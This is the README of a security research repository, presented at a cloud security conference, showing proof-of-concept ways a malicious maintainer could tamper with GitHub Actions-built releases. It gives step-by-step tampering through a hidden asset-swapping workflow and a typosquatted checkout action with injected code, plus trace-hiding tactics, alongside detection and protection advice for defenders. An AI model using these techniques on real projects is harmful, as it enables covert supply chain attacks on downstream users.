GitHub - offensive-actions/release-tampering-pocs: Proof of Concepts for malicious maintainers: How to Tamper with Releases built with GitHub Actions Worfklows, presented at fwd:cloudsec Europe 2025 · GitHub
Skip to content

offensive-actions/release-tampering-pocs

Folders and files

Repository files navigation

How to Tamper with Releases built with GitHub Actions Workflows

🆕 Intro

Table of contents

What this repository is all about

Some important points to get out of the way:

  • We assume we have maintainer level access to a repository, named release-tampering-pocs in the examples. This repository produces releases using GitHub Action workflows and publishes them on GitHub. It could publish them to PyPi, npm, or any other artifact repository, GitHub Releases is just a convenient way of showing what we want to show.
  • How we got maintainer level access to the repository does not matter. We might have bought access. We might have hacked in. We just turned malicious for fun. Whatever. We already have access and full control.
  • We as the maintainer want to hide malicious code in our releases. We want to do that as discreetly as possible. We do that to attack downstream consumers of our releases, so we are conducting a supply chain attack.
  • We do not care (here) about being detected once our malicious code runs on a third party system. We only care about leaving as few traces as possible when creating our malicious releases.

This is not gospel, I am not the overlord of tampering with releases. If you have gripes with things I show here, ideas for other attacks, or ideas on how to detect/defend, please reach out, let's talk, open a PR. Seriously. This topic is niche and it would be great to have people to bounce ideas with. You can get started with 🕑Future Work!

Presented at fwd:cloudsec Europe 2025

I am super honoured to present this topic at fwd:cloudsec EU 2025!

How to use this repository

These are only proof of concept attacks. Our "builds" are just the copying of a text file that is present in the source code to a GitHub release. However, a build is a build, it does not matter how sophisticated it is.

As a baseline, the text file is being released untampered as release v0 on the branch main. In subsequent releases, we never touch the source code of the text file, but tamper with the file during or after the GitHub Action workflow that "builds" the release.

To be able to diff the different releases and source code commits against each other, all tampered releases happen on a branch tampered_releases. The main branch is just for adding this documentation, reference code, etc.

For every attack path, you will find the following sub chapters:

  • OPSEC deliberations and planning: We look at different examples (some in the private sandbox repository releasetests), observe the traces we leave behind, call APIs to seek more information and slowly decide how exactly to attack. Not all decisions are clear-cut, and the aim of this chapter is to understand the considerations involved.
  • Tampering: This is a straightforward description of the steps we ended up taking to produce the given release. You will find all the code linked and contained in this repository.
  • Indicators of compromise: Here we list all traces we left behind (or at least the ones we know about), including the commands to retrieve them.
  • Detection: In this chapter, we provide food for thought on how to detect an attack like that.
  • Protection: Here we list ideas for how an organization could try to protect themselves from falling victim, if they get attacked in the described manner from their supply chain. These are mostly features they should think about using or asking the maintainers of their supply chain to use.
  • Rating as an attacker: Here we rate the different attack paths using the following questions: What stages of the release cycle did we need to involve (more on that in 📖 Let's start with a bit of theory)? What traces did we leave behind in our repository? What traces did we leave behind elsewhere? How fool proof is the attack path?

⬆️ Back to the table of contents

📖 Let's start with a bit of theory

Examples of supply chain attacks

For all the attacks described in this repository, we assume we have access as a maintainer. So we identify as "malicious maintainers". There are several reasons how a malicious maintainer might have gotten these permissions.

We define as "malicious", if someone with maintainer access releases code on purpose that does things that the consumers do not expect and probably would not want the code to do.

External Attacks

The legitimate maintainer of the repository was not and is not malicious.

  • Access via Phishing: a threat actor phishes a legitimate maintainer and gains access
    • The developer Qix got phished in September 2025, giving threat actors access to the npm account. The threat actors used that access to upload malicious versions of packages like debug and chalk. The packages, once executed, targeted holders of crypto currency account holders to steal crypto currencies. Source: Wiz Blog
  • Access via injection vulnerability into GitHub Action: a threat actor abuses a way to inject arbitrary code into a GitHub Actions workflow runs
    • The company Nx was vulnerable to such an injection attack. Threat actors abused that in August 2025 to steal npm tokens. These were used to upload malicious versions of packages to npm. The packages, once executed, leaked secrets to public GitHub repository logs. Source: Nx's postmortem
  • Access via stolen GitHub personal access tokens (PATs): a threat actor gains access to a PAT via e.g. a credential stealer or just buys them on the open market and uses these credentials to access the GitHub API
    • In March 2025, tags of the tj-actions/changed-files GitHub Action were altered by threat actors to point to a malicious orphaned commit. Once executed, the Action would expose secrets present in the workflow run in the workflow logs of public repositories. Source: StepSecurity Blog

Internal Attacks

The legitimate maintainer of the repository was once not malicious (or at least it looked like it), but that changed.

  • Developer goes on strike: a developer is unhappy and upset about something and lashes out
    • In January 2022 the maintainer Marak of the npm package colors introduced an infinite loop on purpose, breaking downstream projects. This seems to have been an action of protest against not being compensated for their work. Source: Snyk Blog
  • Developer sells their project to an "unknown" new owner: a developer wants to quit working on a popular project and sells it to an external party instead of burying the project
    • In October 2020, the maintainer JS of the Nano ad-block projects sells their projects to an unnamed third-party. A few days later the new owners start sending user data to an external endpoint. Source: Reddit
  • Developer uses their project as protestware: a developer want to protest about a topic and uses their unrelated project to display protest banners (or worse)
    • In March 2022, the maintainer RIAEvangelist of the node-ipc package adds a dependency peacenotwar that writes a file to the users desktop to protest the Russian invasion into the Ukraine. Source: Snyk Blog
  • Developer behaves like a sleeper agent: a developer was always malicious, but did hide it until their projects have enough users
    • In July 2025 Koi Security released research named "Red Direction" looking into 18 malicious browser extensions, that used to be non-malicious tools like color pickers. Source: Koi Security Blog

Prior research and tooling

The work of different researchers that have influence my research.

Offensive

Adnan Khan / John Stavinski:

François Proulx:

Defensive

François Proulx (again):

  • YouTube: 0-days in OSS build pipelines - Finding 0-days in the pipelines of OSS packages
  • GitHub: poutine - Tool to detect misconfigurations and vulnerabilities in build pipelines

Varun Sharma / Ashish Kurmi:

  • GitHub: Harden-Runner - A GitHub Action that acts as an EDR and monitors your workflow runs on GitHub-hosted runners (in the free version)
  • Blog: StepSecurity Blog - Blog about incidents they discover using the harden-runner

Zizmorcore:

  • GitHub: zizmore - Tool to detect misconfigurations and vulnerabilities in build pipelines

The three main phases of SLSA

Check out the SLSA project. They provide a theoretical foundation for topics around software supply chains and offer this diagram:

We will be referencing the phases Source, Build and Distribution during the following research.

⬆️ Back to the table of contents

🏗️ Initial baseline setup

Here we set up the benign version of our repository. We then tag it with v0 and create a release. Both the codebase and the release will be the benchmark for all future tampering attacks - we want to change as little as possible to the codebase, and as much as possible for the release files. To make this proof of concept as approachable as possible, our "releases" are just the publishing of a file original.txt that is contained in our codebase. Normally, the release process would consist of e.g. building, compiling, etc. - and all attacks would work in the same way.

Setup the repository

We create a repository named offensive-actions/release-tampering-pocs and add two files:

First original.txt as:

🔗 You find the raw file in ./original.txt

This is the original file. No tampering has happened.

And second .github/workflows/release.yml as:

🔗 You find the raw file in ./.github/workflows/release.yml

name: Create release from tag

on:
  push:
    tags:
      - "v*"

jobs:
  create-release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - name: Checkout
        uses: actions/checkout@v5
      - name: Create release
        run: gh release create --repo ${{ github.repository }} ${{ github.ref_name }} original.txt
        env:
          GH_TOKEN: ${{ github.token }}

Create the benign baseline release

We will create a release v0, so we can diff all future commits and releases against it.

Since we cannot directly tag a commit in the GUI, we need to work on a local copy and push the tag to trigger the first build:

gh repo clone release-tampering-pocs && cd release-tampering-pocs

git tag v0
git push --tags

Now, the initial, untampered release is being built:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17586258658

And the release can be downloaded:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v0

We can get the following info about the release:

 gh api https://api.github.com/repos/offensive-actions/release-tampering-pocs/releases/latest \
 | jq '{tag: .tag_name, assets: [.assets[] | {name: .name, digest: .digest}]}'

🔥 Demonstration of the different attack paths

First, we create a new branch tampered_releases. We use this branch for all tampering-related changes and thus releases. This will allow us to easily diff the commits tagged with a version v<x>, without and documentation changes getting in the way.

Path 1️⃣: Changing the assets of a mutable release

ℹ️ This attack touches both the Source and the Build stage of the SLSA Supply Chain Model.

As of September 2025, GitHub Releases are per default setting mutable, so the maintainer can just go ahead and change the contents of a release after it has been initially released. We are doing exactly that while trying to stay under the radar.

This attack path is limited to GitHub Releases, since other big artifact repositories like PyPi (see Help page) and npm (see documentation) have been enforcing immutability for releases for a while now:

OPSEC deliberations and planning

ℹ️ When doing planning for our OPSEC, we need to look at two main topics:

  1. Traces we leave in the Source stage (directly in the source and event logs)
  2. Traces we leave in the Build stage (event logs)

Looking at the metadata of the release, several pieces of information will change, if a release is being changed after being initially released. Let's give them a closer look:

This is what an untampered release looks like:

gh api /repos/offensive-actions/releasetests/releases/latest \
| jq '{tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at, assets: [.assets[] | {name: .name, digest: .digest, created_at: .created_at, updated_at: .updated_at, uploader: [.uploader | {login: .login, type: .type}]}]}'

These are the exact meanings of the attributes in the metadata:

Attribute Meaning Special considerations for untouched releases
tag Git tag that triggered the release process after it was set on a commit
created_at TS of last commit (the tagged one) that made it into the release
published_at TS of the creation of the release
updated_at TS of last update to the release In a few test cases this differed from published_at by seconds for an untouched release.
assets.name The file name of the asset
assets.digest The sha256sum of the asset
assets.created_at TS of the first time an asset of that name was uploaded into the release. Can differ from updated_at for an untouched release (in several tests assets.created_at was seconds before updated_at).
assets.updated_at TS of the last time an asset was updated. In no test case this differed from assets.created_at for an untouched release, but given the second discrepancies in the other TS fields, it probably can.
uploader.login The handle of the principal who uploaded the asset Is github-actions[bot] if the release is done via the github.token available in the GitHub Action like in our case.
uploader.type The type of the principal who uploaded the asset Is bot if the release is done via the github.token available in the GitHub Action like in our case.

Now, we update the release asset using the web GUI:

When running the query again, we see some changed metadata values:

Let's look at them closely:

Attribute What does it reveal? What are OPSEC thoughts?
updated_at If the TS differs from created_at, it is clear that a release has been modified after the initial release. This is not ideal. We should try to keep the time difference to a minimum, but a change is a change.
digest A changed hash clearly states the file has been modified. As long as the person looking at the metadata does not have the original hash at hand using another source, they cannot tell this changed.
assets.updated_at If the TS differs from assets.created_at, it seems to be clear that the asset has been modified since the initial release. This is not ideal. We should try to keep the time difference to a minimum, but a change is a change.
uploader.login and uploader.type This reveals that a human principal uploaded the asset. This is absolutely not ideal, since it is very obvious even to an untrained eye. We need to find a way to change that.

After some more testing, we found out two important things regarding the timestamp discrepancies:

  1. If we delete the original asset and upload the new asset in two steps and not in one step, the asset ID changes and so assets.created_at actually changes, too. This is true for both the web GUI and the API.
  2. If we use the web GUI for the upload of the altered file, the assets.created_at and assets.updated_at often differ by a few seconds. However, if we do the upload using the API, this can happen but is very often not the case.

Here is an example of such a change, for a freshly created v14 in our testing repository:

# original values after the creation of the release
gh api https://api.github.com/repos/offensive-actions/releasetests/releases/latest \
| jq '{id: .id, tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at, assets: [.assets[] | {id: .id, name: .name, digest: .digest, created_at: .created_at, updated_at: .updated_at, uploader: [.uploader | {login: .login, type: .type}]}]}'

# delete the assset
gh release delete-asset v14 original.txt

# upload the changed asset
gh release upload v14 original.txt

As can be seen the values for updated_at, assets.created_at and assets.updated_at do not differ at all in the example. Again, this is not always the case, but latency also plays a role for the original release potentially.

This is great news for attackers, but we still seem to have the problem of the difference between published_at and updated_at for the release. However, this might not be a problem at all: if the maintainer changes the title or the notes of a release, the updated_at also changes, showing this is not a reliable indicator of tampering with the assets after all. This also applies for immutable releases (more on these in the Protection sub-chapter). In the following screenshot a new immutable v16 release has been created. Then, the title was changed. We can see the updated_at does reflect the title change, even though the release (actually the asset) is immutable:

# get the details of the untouched release
gh api https://api.github.com/repos/offensive-actions/releasetests/releases/latest \
| jq '{tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at, immutable: .immutable}'

# update the title
gh release edit v16 --title 'This is a new title'

# get the details of the modified release
gh api https://api.github.com/repos/offensive-actions/releasetests/releases/latest \
| jq '{tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at, immutable: .immutable}'

As the last open point when addressing the metadata, we have the uploader values. Here we have the idea of creating a new branch, running a manually triggered workflow off of it, and have the workflow (using its github.token) overwrite the file we are targeting.

We will however leave one trail - the events recorded in the Events API (documentation for the API, documentation for the event type ReleaseEvent). Due to the design of the API, the initial release with all the connected assets will be recorded, which includes the sha256sum of the original assets. However, subsequent changes to the release will only be returned by the API, if the title or the notes get changed - and even that seems to be spotty, as can be seen in the following example for the v16 we just looked at (compare the query_time as current timestamp and event_created_at - the difference is way above the 8 hours GitHub offers for processing times for this non-realtime API (source)). Changes to the assets of any kind are by design of the API not contained in the response (again, see documentation for the event type ReleaseEvent):

gh api /repos/offensive-actions/releasetests/events \
| jq --arg now "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" '.[] | select(.type == "ReleaseEvent") |  select(.payload.release.tag_name == "v16") | {query_time:$now, event_created_at:.created_at, type:.type, action:.payload.action, tag:.payload.release.tag_name, asset_name:.payload.release.assets[0].name, asset_hash:.payload.release.assets[0].digest}'

The Events API in general might not be the best source for indicators of compromise, at least not, if you need the results quickly after a new release. The repository events should have a latency of "anywhere from 30s to 6h":

https://docs.github.com/en/rest/activity/events?apiVersion=2022-11-28#list-repository-events

Also, GitHub states that up to 300 events should be visible, only including events from the last 30 days. This means that by producing noise (pushes, tags, etc.), we can remove incriminating events.

https://docs.github.com/en/rest/activity/events?apiVersion=2022-11-28#about-github-events

We could use all this knowledge and change the release workflow to the following:

  1. Check out the repository
  2. Create an empty release
  3. Upload the original assets into the release

This way, only step 2 would be in the API response and not contain any assets and so no asset hashes. Or alternatively:

  1. Check out the repository
  2. Create the release as usual
  3. Tamper with the release
  4. Generate 300 events

This way, we would push the logs for step 3 out of the "300 events window".

To be able to show how to hunt for changes we do not do that - but an attacker probably would, hiding even this trace.

ℹ️ Switching the repository to private before releasing in order to hide the ReleaseEvent does not make this more stealthy, it is actually a bad idea: after setting the repository to public again, the ReleaseEvent will show up in the events with the attribute public: false AND a PublicEvent will be created on top of that once we set the repository to public. Not stealthy.

With this, all issues should be addressed to the best of our capabilities.

Tampering

⏩ The short version of what we are going to do:

  • We create a malicious workflow alter_release.yml on a new branch alter_release that triggers on any push in the repository
  • We create a tag v1 to the same commit that is tagged with v0, triggering both the release.yml and the alter_release.yml workflow
  • We delete the branch alter_release
  • We delete the workflow run for alter_release.yml

We create a new branch alter_release and commit the following workflow as .github/workflows/alter_release.yml:

🔗 You find the raw file in ./assets/attacks/v1/alter_release.yml

name: Alter release

on:
  push

jobs:
  alter_release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - name: Alter release
        shell: bash
        run: |
          echo "This has been changed after the release from another GH Action run, because the release was mutable." > original.txt
          until gh release delete-asset v1 original.txt -y --repo offensive-actions/release-tampering-pocs; do sleep 2; done
          gh release upload v1 original.txt --repo offensive-actions/release-tampering-pocs
        env:
          GH_TOKEN: ${{ github.token }}

Then, we create a new release with v1 from the same commit we already created v0 from:

git pull
git checkout v0
git tag v1
git push --tags

Both workflow runs were successful:

https://github.com/offensive-actions/release-tampering-pocs/actions

We see the new release for v1, which has the same commit hash than the v0 release, but the sha256sum for the original.txt file is different:

https://github.com/offensive-actions/release-tampering-pocs/releases

And when downloading the file, we see the changed text:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v1

And of course, when diffing the two versions we see no changes:

https://github.com/offensive-actions/release-tampering-pocs/compare/v0...v1

As we can see the release metadata does look very inconspicuous - the github-actions[bot] did the upload and the time difference between the creation and the update of the release is 1 second - and exactly the same as is being displayed for the asset original.txt:

gh api /repos/offensive-actions/release-tampering-pocs/releases/tags/v1 \
| jq '{tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at, assets: [.assets[] | {name: .name, digest: .digest, created_at: .created_at, updated_at: .updated_at, uploader: [.uploader | {login: .login, type: .type}]}]}'

Then, we delete the branch alter_release:

https://github.com/offensive-actions/release-tampering-pocs/branches/all

And we delete the workflow run for alter_release.yml:

https://github.com/offensive-actions/release-tampering-pocs/actions

Which results in it vanishing from history:

https://github.com/offensive-actions/release-tampering-pocs/actions

We successfully tampered with the release, well hidden from the naked eye.

Indicators of compromise

We have left several traces of the tampering. First, as mentioned above, we leaked the sha256sum of the untampered file original.txt in the ReleaseEvent - and it differs from the sha256sum of the currently available asset for the same release, which was created 2 seconds after the original file. We mentioned in the OPSEC phase, that we could have avoided that by initially creating an empty release and then uploading the assets, both within the same initial workflow.

These commands show the difference between the hashes for the initial ReleaseEvent and the latest release:

# get the original release event for release v1
gh api /repos/offensive-actions/release-tampering-pocs/events \
| jq '.[] | select(.type == "ReleaseEvent") | select(.payload.release.tag_name == "v1") | {type:.type, action:.payload.action, tag:.payload.release.tag_name, assets: [.payload.release.assets[] | {file_name:.name, digest:.digest, created_at: .created_at}]}'

# get the currently available release asset for release v1
gh api /repos/offensive-actions/release-tampering-pocs/releases \
| jq '.[] | select(.tag_name == "v1") | {tag: .tag_name, assets: [.assets[] | {name: .name, digest: .digest, created_at: .created_at}]}'

We left further traces, which we could not have gotten rid of. However, a defender would have to look very closely to realize the tampering, if we obscured it more. The only initial lead to go off is the close relationship between these events and the release on the general timeline.

The first of these traces are the creation and deletion of the alter_release branch:

gh api /repos/offensive-actions/release-tampering-pocs/events \
| jq '.[] | select(.payload.ref == "alter_release") | {type:.type, ref_type:.payload.ref_type, ref:.payload.ref, created_at:.created_at}'

Also, we (should) find the commit for the tampering workflow not only in close temporal connection, but also belonging to the alter_release branch:

gh api /repos/offensive-actions/release-tampering-pocs/events \
| jq '.[] | select(.type == "PushEvent") | select(.payload.ref == "refs/heads/alter_release") | {type:.type, ref:.payload.ref, commits: [.payload.commits[] | {sha:.sha}]}'

When following the commit hash using the commit URL, we see the incriminating commit including the workflow content, even though the branch has been deleted ("orphaned commit"):

https://github.com/offensive-actions/release-tampering-pocs/commit/eb98725e97836996796ae58777eec669b6a9eada

Detection

As we can see, this kind of tampering should not be hard to detect. But it kind of is, if the events from /events are very late, do not show up to begin with or suddenly disappear (all three of these occurred during testing). Sadly, the Events API seems to be your best bet to check for discrepancies between the original asset hashes and the current asset hashes - if the API responds as specified. If you get a response from /events and it differs from the response from /releases, the release has definitely been tampered with.

Next, we should look at the metadata of a release. If the assets were not uploaded by github-actions[bot], they were not uploaded as part of a workflow, but manually - and no one can tell if the files have been maliciously tampered with.

But even if they were uploaded by github-actions[bot], tampering is not off the table. Now we should look at the timestamps and the general release timeline. This quickly spirals into checking every single commit done to the repository, even if the commit never made it to main. An attacker could even trigger alter_release.yml, then delete the branch alter_release before even triggering the original build to mess up the timeline. Combined with Path 4️⃣ Using a self-hosted runner tagged ubuntu–latest, an attacker could wait for almost 35 days (the timeout for self-hosted runners, source) between the deletion of the alter_release branch and triggering the v1 build.

Fun stuff!

Protection

As we saw, detecting is highly complicated. Proactive protection is all the more important:

Using the immutable releases feature (documentation), you can rely on the assets of a release not being updated or deleted. This feature went into public beta on 26. August 2025 and is subject to change (see GitHub Blog). Since the feature can be enabled and disabled by the maintainer at will, you need to check for every consumed release in the API, if the attribute immutable: true is set:

gh api https://api.github.com/repos/offensive-actions/release-tampering-pocs/releases/tags/v1 \
| jq '{immutable:.immutable}'

In our case, it is not:

In this case, ask the maintainer of a repository to enable the immutable releases feature.

Rating as an attacker

Almost all the traces we leave can be tampered away:

  • File hashes: only available, if the assets get uploaded directly when creating the release
  • Uploader: can be forced to be github-bot[bot]
  • Update timestamp: we can just update the title of the release and have a very good explanation

Since we tamper with the uploader value in a "hidden" workflow, we do leave a dependency behind - the orphaned commit with that workflow.

The general verdict for this attack is great. However, since immutable releases will more and more become the norm, we should proactively go ahead and embrace them. The immutable flag immediately creates an aura of trust - doesn't it?

As mentioned, this attack only works against GitHub Releases anyways. If we "shift left" and try to attack our own build process and not the release itself, our attacks get way more versatile and usable for other platforms than just GitHub Releases.

Thus, for all the coming attack paths, the immutable releases feature will be switched on:

Path 1️⃣.1️⃣: Using the token from a self-hosted runner to avoid an orphan commit

This attack could be expanded upon by combining it with Path 4️⃣ Using a self-hosted runner tagged ubuntu–latest:

  1. Create a benign workflow that does something useful (like check Issues or similar) on the main branch.
  2. Have it run on a self-hosted runner named ubuntu–latest. Once the workflow runs, take control and pause the execution.
  3. From the self-hosted runner, use its token to pull of the release tampering (loop to delete, then upload).
  4. Start the release workflow as usual.
  5. See the tampered with release.

This should only leave the following traces and thus is even more inconspicuous than the original attack path 1:

  • the different sha256sums between the /events and the /releases API endpoints for the tampered asset
  • the homoglyph attack from attack path 4

⬆️ Back to the table of contents

Path 2️⃣: Using a typosquatted third-party GitHub Action in our workflow

ℹ️ This attack touches both the Source and the Build stage of the SLSA Supply Chain Model.

Next to just running shell commands in a workflow (as we do for the create release step in our initial release.yml, see Setup the repository), there are quite a few other things we can do in a GitHub Action workflow (see the official documentation for syntax with examples).

For this attack, we are taking a closer look at other GitHub Actions we can use in our workflow.

Typosquatting for libraries and artifacts is a known vector to attack developer machines and supply chains (see e.g. this widely cited article from Nicolai Tschacher from 2016). Deviating from the regular use case, as a malicious maintainer we can use this vector to our advantage and typosquat ourselves to hide what we are doing.

Additionally, we can abuse that tags in GitHub are per default mutable, which might lead to defenders looking for malicious code in all the wrong places. This behaviour has been maliciously exploited before, e.g. in the case of the compromise of tj-actions/changed-files in March 2025 (see writeup by Varun Sharma).

OPSEC deliberations and planning

ℹ️ When doing planning for our OPSEC, we need to look at two main topics:

  1. Traces we leave in the Source stage (directly in the source and event logs)
  2. Traces we leave in the Build stage (event logs)

When looking at the Source stage, there are different ways how to consume a GitHub Action (again, see the official documentation for the uses syntax with examples).

It is possible to reference an Action that is hosted in the repository that consumes it (see documentation) - putting our malicious code right into our own repository is not a great idea obviously and so we do not look at it further:

We could also host the GitHub Action in a private repository hidden away from prying eyes, but without making it obvious in the workflow definition "sadly" this would still be in our namespace (offensive-actions for our demo repository) and only work for private repositories to begin with:

While we could set our offensive-actions/release-tampering-pocs repository to private, then create the release, and then set the repository to public again this is more trouble than it's worth, since defenders can definitely see the PublicEvent in the Events API. This is out, too.

We could also host the GitHub Action in any private repository and check that out using a PAT from the workflow before using it (from the documentation):

While this would make sense, this should trigger anybody who glances over the workflow. The option is out, too.

Hosting an Action in a Docker container is a thing (at least) we have not seen in the wild, yet (documentation). This would potentially raise eyebrows. But we will be talking about it again in Path 3️⃣ Using a GitHub hosted runner with a container under our control. This is what the syntax looks like:

To hide in plain sight, we should probably just go with the most usual way: consuming a public GitHub Action and deal with hiding the malicious intent of that Action in a different way. It is easy do do a supply chain compromise if you own the supply chain, so we need our own third party action.

When thinking about a name and namspace for our Action, we again have two options if we want to get started right away: we can go with typosquatting or we think about a namespace that would make sense to use in relation to the tool we are building in our repository. Or we could just go with our own namespace offensive-actions, as many companies started doing (to make things easier and for security reasons). One example would be Hashicorp, who e.g. maintain hashicorp/actions-set-product-version:

Since we are already using the actions/checkout action, we are going to typosquat that and find the actlons namespace still available - allowing us to serve actlons/checkout. This might not help against thorough digging by an already suspicious defender, but it definitely helps against someone just glancing over our workflow - try for yourself:

uses: actions/checkout
uses: actlons/checkout

Now that we have decided on which repository to use to host our own third-party Action, we need to find a way to hide our malicious code from prying eyes.

When also looking at the Build stage, when we use a third-party Action, we leave traces in two places: in the workflow definition that says what should be called, and in the build logs that say what has been called. If we look at the example of our benign version v0:

The workflow definition:

https://github.com/offensive-actions/release-tampering-pocs/blob/v0/.github/workflows/release.yml

The build logs:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17586258658/job/49954930678

We do not have a big problem with the reference of the version v5 in the workflow definition, since tags are mutable in git and on GitHub. This means we can do a malicious release and then move the tag to a benign version of the referenced Action. This is why as a best practice maintainers should reference commit hashes instead of semver versions when pinning an Action in a workflow (see Secure Use Reference for 3rd party Actions), which would look like this:

# this is the current commit hash with the tag v5
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8

Lucky for us as attackers, using semver tags instead of commit hashes is so widespread, and maintaining the upkeep of the references so tedious, that even GitHub themselves use semver in the official Readme.md of actions/checkout:

https://github.com/actions/checkout

However, the commit hash in the build logs might be a problem for us. In the chapter Path 1️⃣ Changing the assets of a mutable release we realized just how hard it is to make a commit vanish, even if we never merge it to main and delete the branch it is on. Once someone has the hash, they will be able to retrieve the commit (more on that topic in the official documentation about the removal of sensitive data from a repository).

Thus, we are going to use a tag like:

uses: actlons/checkout@v5

This allows us to just change a single character: i to l.

Now that we know what traces we are going to leave in the workflow definition and why this is not a big issue, we need to look at the traces in the build logs. As mentioned, there we find the commit hash and the <namespace>/<repository> combination that directly could lead to our malicious code.

However: we have an idea. While we could not just delete the repository after the incriminating commit in Path 1️⃣ Changing the assets of a mutable release, we definitely can delete actlons/checkout, after it served it's purpose of meddling with the release. All the events prior to that potentiall end up in the GitHub Archives (link), but we are going to ignore that for now.

If one deletes a repository, none of the APIs will respond with data about it. And GitHub allows us to recreate a repository under the same name just seconds after deleting it. We are going to take advantage of that.

One word of warning: if we use a fork of actions/checkout for the first version, the one we will delete later, the malicious commit cannot be found anymore after the delete. But if we fork the repo again, it "magically" appears again. Therefore, we need to put the repository together "manually" for the first version:

  • Not stealthy: Fork actions/checkout to actlons/checkout, tamper with it, build the release, delete actlons/checkout, fork actions/checkout again
  • Stealthy: Put our own code in actlons/checkout, tamper with it, build the release, delete actlons/checkout, fork actions/checkout to actlons/checkout for the first time

As a second, more nuclear option, we can decrease the log retention from the default 90 days (the maximum for public repos) to 1 day (see documentation). However, killing the commit is already hiding the contents and getting rid of the logs would create more harm than it would have upsides.

Our worst case: a defender actually follows the commit hash and gets a 404. If the logs were completely gone, this is a red flag by itself and potentially worse. It took us a minute to understand what is happening under the hood when getting rid of the commit, any defender would have to invest the same.

One thing we have to keep in mind: we should also emulate the logs the checkout Action in the Checkout build step produces:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17586258658/job/49954930678

This is done best by just taking the necessary files from actions/checkout and putting them into actlons/checkout. Then, we also add our malicious code right after the checkout process.

Let's go!

Tampering

⏩ The short version of what we are going to do:

  • actlons/checkout:
    • Create a public repository
    • Copy the vital files of actions/checkout into it
    • Add our malicious code
    • Tag this as v5
  • offensive-actions/release-tampering-pocs:
    • In the release.yml change the GitHub Action used for the git checkout from actions/checkout@v5 to actlons/checkout@v5
    • Build a new release with v2
  • actlons/checkout:
    • Delete the repository
    • Fork actions/checkout
    • Push the original tags, since they are only forked in git, not on GitHub

As the actlons user, we open a new public repository checkout:

gh auth status | grep actlons
gh repo create checkout --public --clone

We then add the following three files, taken directly from the actions/checkout repository at commit 08c6903cd8c0fde910a37f88322edcfb5dd907a8 (as of the time of writing, the tag v5 points at that commit):

  1. https://github.com/actions/checkout/blob/08c6903cd8c0fde910a37f88322edcfb5dd907a8/action.yml
  2. https://github.com/actions/checkout/blob/08c6903cd8c0fde910a37f88322edcfb5dd907a8/dist/index.js
  3. https://github.com/actions/checkout/blob/08c6903cd8c0fde910a37f88322edcfb5dd907a8/dist/problem-matcher.json

Then, we add the following lines on line 1895/1896 of /dist/index.js (the line above and below for reference, they of course do not need to be commented out). Our logic changes the contents of the file original.txt right after the untampered file got cloned:

// yield gitSourceProvider.getSource(sourceSettings);
const { execSync } = require('child_process');               
execSync('echo "This was tampered with by a malicious checkout Action." > original.txt', { stdio: 'inherit' });
// core.setOutput('ref', sourceSettings.ref);

🔗 You find the raw files in

Then we pull and tag this version as v5:

git pull
git tag v5
git push --tags

The malicious third-party action is ready for action. So, we switch back to being the user offensive-actions, check out the branch tampered_releases and change the workflow release.yml:

🔗 You find the raw file in ./.github/workflows/release.yml

uses: actlons/checkout@v5

We pull the changes locally, and tag with v2 to create a new release:

git pull
git checkout tampered_releases
git tag v2
git push --tags

The tag triggers the release and once it is finished, we check the logs for the checkout. They look perfectly normal:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17613623940/job/50041208580

And the release has been successfully tampered with:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v2

We can also check the diff:

https://github.com/offensive-actions/release-tampering-pocs/compare/v0...v2

We delete the actlons/checkout repository to get rid of some indicators of compromise:

Then, we create a clean fork of the actions/checkout repository in our namespace as actlons/checkout:

https://github.com/actions/checkout/fork

Tags are not available directly after a fork:

https://github.com/actlons/checkout

So we clone the repository locally and find all the tags:

We push them all:

git push --tags

Now they are available also on GitHub and everything looks like it should:

https://github.com/actlons/checkout

We again successfully tampered with the release, which is now marked as immutable:

gh api https://api.github.com/repos/offensive-actions/release-tampering-pocs/releases/tags/v2 \
| jq '{immutable:.immutable}'

Indicators of compromise

The main indicator of compromise is the hash defenders can find in the build logs for the default of 90 days after the release:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17613623940/job/50041208580

Since we removed the first version of the actlons/checkout repository, following the commit hash leads to a 404 error:

https://github.com/actlons/checkout/tree/44818a8675f2d82e4008f31bbdddb16045ed57db

If a defender follows the tag only however, they will find the currently up-to-date commit pointed at by v5:

https://github.com/actlons/checkout/tree/v5

If they use the Events API, they will not get any events, since these are not forked with the repository, and we did not trigger any events after forking:

gh api /repos/actlons/checkout/events

Defenders might however find the events for the first version of actlons/checkout in the GitHub Archives (https://www.gharchive.org/), this is something we potentially do not have control over. The events are aggregated at an hourly level, so maybe by being fast with the first version of the repository, attackers can stay under the radar and never have the events registered. This is a research topic by itself.

Another way more visible critical IoC is that the repository actlons/checkout was created after the release was built:

# creation time of the release in the offensive-actions/release-tampering-pocs repository (updates are not relevant, since it's immutable)
gh api /repos/offensive-actions/release-tampering-pocs/releases \
| jq '.[] | select(.tag_name == "v2") | {created_at:.created_at}'

# creation time of the actlons/checkout repository
gh api /repos/actlons/checkout \
| jq '{created_at:.created_at}'

This is unusual behaviour, but only detected if someone is digging deep and putting pieces together - or hunting for it in a scripted way.

As mentioned in the OPSEC section, if a defender were to detect a typoquatting like actlons, they might directly raise alerts without digging deeper. Potentially just using offensive-actions/checkout might actually be more stealthy. This would also spare us the creation of a profile for the aclons profile, which currently is basically non-existent and thus even more suspicious (I put in my real name and socials, so it's definitely clear this is research and not a real attacker):

https://github.com/actlons

Detection

When hunting for attacks in their supply chain, defenders should definitely follow the trail of dependencies, one of which are external GitHub Actions.

If an external GitHub Action is used in a release, we can deduct several direct rules:

  1. If the repository containing the external GitHub Action is younger than the release, or does not exist anymore, something is off. You will most probably not find the code actually run by the GitHub Action.
